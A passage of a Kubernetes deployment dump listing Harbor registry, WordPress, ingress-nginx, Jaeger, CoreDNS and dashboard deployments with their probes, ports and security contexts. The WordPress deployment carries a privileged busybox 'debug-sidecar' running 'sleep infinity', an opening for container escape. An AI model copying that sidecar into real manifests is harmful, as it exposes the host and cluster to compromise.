          image: goharbor/registry-photon:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 5000
              scheme: HTTP
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: registry
          ports:
          - containerPort: 5000
            protocol: TCP
          - containerPort: 5001
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 5000
              scheme: HTTP
            initialDelaySeconds: 1
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /storage
            name: registry-data
          - mountPath: /etc/registry/passwd
            name: registry-htpasswd
            subPath: passwd
          - mountPath: /etc/registry/config.yml
            name: registry-config
            subPath: config.yml
        - env:
          - name: CORE_SECRET
            valueFrom:
              secretKeyRef:
                key: secret
                name: harbor-core
          - name: JOBSERVICE_SECRET
            valueFrom:
              secretKeyRef:
                key: JOBSERVICE_SECRET
                name: harbor-jobservice
          envFrom:
          - configMapRef:
              name: harbor-registryctl
          - secretRef:
              name: harbor-registry
          - secretRef:
              name: harbor-registryctl
          image: goharbor/harbor-registryctl:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/health
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: registryctl
          ports:
          - containerPort: 8080
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/health
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 1
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /storage
            name: registry-data
          - mountPath: /etc/registry/config.yml
            name: registry-config
            subPath: config.yml
          - mountPath: /etc/registryctl/config.yml
            name: registry-config
            subPath: ctl-config.yml
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          fsGroupChangePolicy: OnRootMismatch
          runAsUser: 10000
        terminationGracePeriodSeconds: 120
        volumes:
        - name: registry-htpasswd
          secret:
            defaultMode: 420
            items:
            - key: REGISTRY_HTPASSWD
              path: passwd
            secretName: harbor-registry-htpasswd
        - configMap:
            defaultMode: 420
            name: harbor-registry
          name: registry-config
        - name: registry-data
          persistentVolumeClaim:
            claimName: harbor-registry
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T11:58:01Z"
      lastUpdateTime: "2025-10-19T11:59:23Z"
      message: ReplicaSet "harbor-registry-6f6b79b866" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:24:10Z"
      lastUpdateTime: "2025-11-29T13:24:10Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "2"
      meta.helm.sh/release-name: hera
      meta.helm.sh/release-namespace: hera
    creationTimestamp: "2025-10-19T12:11:19Z"
    generation: 2
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      helm.sh/chart: wordpress-0.14.5
    name: hera-wordpress
    namespace: hera
    resourceVersion: "18034169"
    uid: 29463cd1-0c06-4a69-8ab2-c215c1732459
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: hera
        app.kubernetes.io/name: wordpress
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/extendedconfig: cea6f23b4882ae1b2ad0b050b4d464be10f90f96a54d6bc88e10523856f5306d
          checksum/secureconfig: 674317f00be04df9b4edeb05391a2ae7f7deffd1b3369adfdaa548a874a58006
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: hera
          app.kubernetes.io/name: wordpress
      spec:
        containers:
        - envFrom:
          - secretRef:
              name: hera-wordpress
          image: docker.io/wordpress:6.8.3-apache
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-admin/install.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: wordpress
          ports:
          - containerPort: 8000
            name: http
            protocol: TCP
          readinessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            privileged: false
            readOnlyRootFilesystem: true
          startupProbe:
            failureThreshold: 30
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/www/html
            name: wordpress-vol
          - mountPath: /tmp
            name: tmp
          - mountPath: /var/run
            name: run
          - mountPath: /etc/apache2/ports.conf
            name: extended
            subPath: ports.conf
          - mountPath: /etc/apache2/000-default.conf
            name: extended
            subPath: 000-default.conf
          - mountPath: /usr/local/etc/php/conf.d/custom.ini
            name: extended
            subPath: custom.ini
        - command:
          - sh
          - -c
          - sleep infinity
          image: busybox:1.36
          imagePullPolicy: IfNotPresent
          name: debug-sidecar
          resources: {}
          securityContext:
            privileged: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 33
          runAsNonRoot: true
          runAsUser: 33
        serviceAccount: default
        serviceAccountName: default
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp
        - emptyDir: {}
          name: run
        - configMap:
            defaultMode: 420
            name: hera-wordpress-extended
          name: extended
        - emptyDir: {}
          name: wordpress-vol
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T12:11:19Z"
      lastUpdateTime: "2025-10-22T16:52:57Z"
      message: ReplicaSet "hera-wordpress-7f576688d9" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:25:06Z"
      lastUpdateTime: "2025-11-29T13:25:06Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 2
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    generation: 1
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx-controller
    namespace: ingress-nginx
    resourceVersion: "18033907"
    uid: d8d1f251-c7d5-4a0f-b428-b3281b55bf66
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: controller
        app.kubernetes.io/instance: ingress-nginx
        app.kubernetes.io/name: ingress-nginx
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: controller
          app.kubernetes.io/instance: ingress-nginx
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: ingress-nginx
          app.kubernetes.io/part-of: ingress-nginx
          app.kubernetes.io/version: 1.13.2
          helm.sh/chart: ingress-nginx-4.13.2
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - /nginx-ingress-controller
          - --publish-service=$(POD_NAMESPACE)/ingress-nginx-controller
          - --election-id=ingress-nginx-leader
          - --controller-class=k8s.io/ingress-nginx
          - --ingress-class=nginx
          - --configmap=$(POD_NAMESPACE)/ingress-nginx-controller
          - --validating-webhook=:8443
          - --validating-webhook-certificate=/usr/local/certificates/cert
          - --validating-webhook-key=/usr/local/certificates/key
          env:
          - name: POD_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          - name: POD_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          - name: LD_PRELOAD
            value: /usr/local/lib/libmimalloc.so
          image: registry.k8s.io/ingress-nginx/controller:v1.13.2@sha256:1f7eaeb01933e719c8a9f4acd8181e555e582330c7d50f24484fb64d2ba9b2ef
          imagePullPolicy: IfNotPresent
          lifecycle:
            preStop:
              exec:
                command:
                - /wait-shutdown
          livenessProbe:
            failureThreshold: 5
            httpGet:
              path: /healthz
              port: 10254
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: controller
          ports:
          - containerPort: 80
            name: http
            protocol: TCP
          - containerPort: 443
            name: https
            protocol: TCP
          - containerPort: 8443
            name: webhook
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: 10254
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources:
            requests:
              cpu: 100m
              memory: 90Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              add:
              - NET_BIND_SERVICE
              drop:
              - ALL
            readOnlyRootFilesystem: false
            runAsGroup: 82
            runAsNonRoot: true
            runAsUser: 101
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /usr/local/certificates/
            name: webhook-cert
            readOnly: true
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: ingress-nginx
        serviceAccountName: ingress-nginx
        terminationGracePeriodSeconds: 300
        volumes:
        - name: webhook-cert
          secret:
            defaultMode: 420
            secretName: ingress-nginx-admission
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T19:03:27Z"
      lastUpdateTime: "2025-09-21T19:04:04Z"
      message: ReplicaSet "ingress-nginx-controller-6b96cf684f" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:24:35Z"
      lastUpdateTime: "2025-11-29T13:24:35Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-collector
    namespace: jaeger
    resourceVersion: "18009058"
    uid: 6a08799e-d3a5-4cb1-929c-a2cc1e86531c
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: collector
        app.kubernetes.io/instance: jaeger
        app.kubernetes.io/name: jaeger
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/config-env: 75a11da44c802486bc6f65640aa48a730f0f684c5c07a42ba3cd1735eb3fb070
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: collector
          app.kubernetes.io/instance: jaeger
          app.kubernetes.io/name: jaeger
      spec:
        containers:
        - env:
          - name: SPAN_STORAGE_TYPE
            value: cassandra
          - name: CASSANDRA_SERVERS
            value: jaeger-cassandra
          - name: CASSANDRA_PORT
            value: "9042"
          - name: CASSANDRA_KEYSPACE
            value: jaeger_v1_test
          - name: CASSANDRA_USERNAME
            value: user
          - name: CASSANDRA_PASSWORD
            valueFrom:
              secretKeyRef:
                key: password
                name: jaeger-cassandra
          image: jaegertracing/jaeger-collector:1.53.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jaeger-collector
          ports:
          - containerPort: 14250
            name: grpc
            protocol: TCP
          - containerPort: 14268
            name: http
            protocol: TCP
          - containerPort: 14269
            name: admin
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: jaeger-collector
        serviceAccountName: jaeger-collector
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T15:15:44Z"
      lastUpdateTime: "2025-10-19T15:19:01Z"
      message: ReplicaSet "jaeger-collector-5b674d4987" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:18:13Z"
      lastUpdateTime: "2025-11-29T11:18:13Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-query
    namespace: jaeger
    resourceVersion: "18009040"
    uid: 3899e75e-af77-443c-824c-8f246e19d188
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: query
        app.kubernetes.io/instance: jaeger
        app.kubernetes.io/name: jaeger
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: query
          app.kubernetes.io/instance: jaeger
          app.kubernetes.io/name: jaeger
      spec:
        containers:
        - env:
          - name: SPAN_STORAGE_TYPE
            value: cassandra
          - name: CASSANDRA_SERVERS
            value: jaeger-cassandra
          - name: CASSANDRA_PORT
            value: "9042"
          - name: CASSANDRA_KEYSPACE
            value: jaeger_v1_test
          - name: CASSANDRA_USERNAME
            value: user
          - name: CASSANDRA_PASSWORD
            valueFrom:
              secretKeyRef:
                key: password
                name: jaeger-cassandra
          - name: QUERY_BASE_PATH
            value: /
          - name: JAEGER_AGENT_PORT
            value: "6831"
          image: jaegertracing/jaeger-query:1.53.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jaeger-query
          ports:
          - containerPort: 16686
            name: query
            protocol: TCP
          - containerPort: 16685
            name: grpc
            protocol: TCP
          - containerPort: 16687
            name: admin
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        - env:
          - name: REPORTER_GRPC_HOST_PORT
            value: jaeger-collector:14250
          image: jaegertracing/jaeger-agent:1.53.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jaeger-agent-sidecar
          ports:
          - containerPort: 14271
            name: admin
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: jaeger-query
        serviceAccountName: jaeger-query
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T15:15:44Z"
      lastUpdateTime: "2025-10-19T15:19:07Z"
      message: ReplicaSet "jaeger-query-699bddc747" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:18:10Z"
      lastUpdateTime: "2025-11-29T11:18:10Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-09-21T11:09:19Z"
    generation: 1
    labels:
      k8s-app: kube-dns
    name: coredns
    namespace: kube-system
    resourceVersion: "18046352"
    uid: 8aa640da-54bd-4eeb-a8ff-3cfc9441f9d3
  spec:
    progressDeadlineSeconds: 600
    replicas: 2
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        k8s-app: kube-dns
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 1
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          k8s-app: kube-dns
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchExpressions:
                  - key: k8s-app
                    operator: In
                    values:
                    - kube-dns
                topologyKey: kubernetes.io/hostname
              weight: 100
        containers:
        - args:
          - -conf
          - /etc/coredns/Corefile
          image: registry.k8s.io/coredns/coredns:v1.12.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 5
            httpGet:
              path: /health
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 60
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: coredns
          ports:
          - containerPort: 53
            name: dns
            protocol: UDP
          - containerPort: 53
            name: dns-tcp
            protocol: TCP
          - containerPort: 9153
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /ready
              port: 8181
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources:
            limits:
              memory: 170Mi
            requests:
              cpu: 100m
              memory: 70Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              add:
              - NET_BIND_SERVICE
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/coredns
            name: config-volume
            readOnly: true
        dnsPolicy: Default
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: coredns
        serviceAccountName: coredns
        terminationGracePeriodSeconds: 30
        tolerations:
        - key: CriticalAddonsOnly
          operator: Exists
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
        volumes:
        - configMap:
            defaultMode: 420
            items:
            - key: Corefile
              path: Corefile
            name: coredns
          name: config-volume
  status:
    availableReplicas: 2
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:25Z"
      lastUpdateTime: "2025-09-21T11:10:13Z"
      message: ReplicaSet "coredns-674b8bbfcf" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-04T00:53:38Z"
      lastUpdateTime: "2025-11-04T00:53:38Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 2
    replicas: 2
    updatedReplicas: 2
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: api
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-api
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.13.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-api
    namespace: kubernetes-dashboard
    resourceVersion: "18033508"
    uid: 0cc0c5f5-cac1-431c-b3d5-7a1b905d81c2
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kubernetes-dashboard-api
        app.kubernetes.io/part-of: kubernetes-dashboard
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/config: c42aa2a6a5dd01a706e646a269c5f9162601883a72834abc74680250e8dd1fbd
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: api
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kubernetes-dashboard-api
          app.kubernetes.io/part-of: kubernetes-dashboard
          app.kubernetes.io/version: 1.13.0
          helm.sh/chart: kubernetes-dashboard-7.13.0
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - --namespace=kubernetes-dashboard
          - --metrics-scraper-service-name=kubernetes-dashboard-metrics-scraper
          env:
          - name: CSRF_KEY
            valueFrom:
              secretKeyRef:
                key: private.key
                name: kubernetes-dashboard-csrf
          - name: GOMAXPROCS
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.cpu
          - name: GOMEMLIMIT
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.memory
          image: docker.io/kubernetesui/dashboard-api:1.13.0
          imagePullPolicy: IfNotPresent
          name: kubernetes-dashboard-api
          ports:
          - containerPort: 8000
            name: api
            protocol: TCP
          resources:
            limits:
              cpu: 250m
              memory: 400Mi
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 2001
            runAsUser: 1001
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: kubernetes-dashboard-api
        serviceAccountName: kubernetes-dashboard-api
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp-volume
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-23T10:16:02Z"
      lastUpdateTime: "2025-09-23T10:16:05Z"
      message: ReplicaSet "kubernetes-dashboard-api-7ccd9b445f" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:23:49Z"
      lastUpdateTime: "2025-11-29T13:23:49Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: auth
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-auth
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.13.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-auth
    namespace: kubernetes-dashboard
    resourceVersion: "18033931"
    uid: ee9bd18e-3343-4263-bbca-06a2a3dc025f
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kubernetes-dashboard-auth
        app.kubernetes.io/part-of: kubernetes-dashboard
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/config: 52c08de2c1f5c5d6b38aed2f55d5944de0c9ed37ce0824188c50535919caa084
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: auth
          app.kubernetes.io/instance: kubernetes-dashboard
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kubernetes-dashboard-auth
          app.kubernetes.io/part-of: kubernetes-dashboard
          app.kubernetes.io/version: 1.3.0
          helm.sh/chart: kubernetes-dashboard-7.13.0
      spec:
        automountServiceAccountToken: true
        containers:
        - env:
          - name: CSRF_KEY
            valueFrom:
              secretKeyRef:
                key: private.key
                name: kubernetes-dashboard-csrf
          - name: GOMAXPROCS
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.cpu
          - name: GOMEMLIMIT
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.memory
          image: docker.io/kubernetesui/dashboard-auth:1.3.0
          imagePullPolicy: IfNotPresent
          name: kubernetes-dashboard-auth
          ports:
          - containerPort: 8000
            name: auth
            protocol: TCP
          resources:
            limits:
              cpu: 250m
              memory: 400Mi
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 2001
            runAsUser: 1001
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp-volume
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-23T10:16:02Z"
      lastUpdateTime: "2025-09-23T10:16:05Z"
      message: ReplicaSet "kubernetes-dashboard-auth-6ff66ccf8d" has successfully
        progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:24:38Z"
      lastUpdateTime: "2025-11-29T13:24:38Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:02Z"
    generation: 1
    labels:
      app.kubernetes.io/component: app
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kong
      app.kubernetes.io/version: "3.8"
      helm.sh/chart: kong-2.46.0
    name: kubernetes-dashboard-kong
    namespace: kubernetes-dashboard
    resourceVersion: "18007908"
    uid: 002cf455-ae87-43d9-b6de-3f8aabf3bc70
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: app
        app.kubernetes.io/instance: kubernetes-dashboard
        app.kubernetes.io/name: kong
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
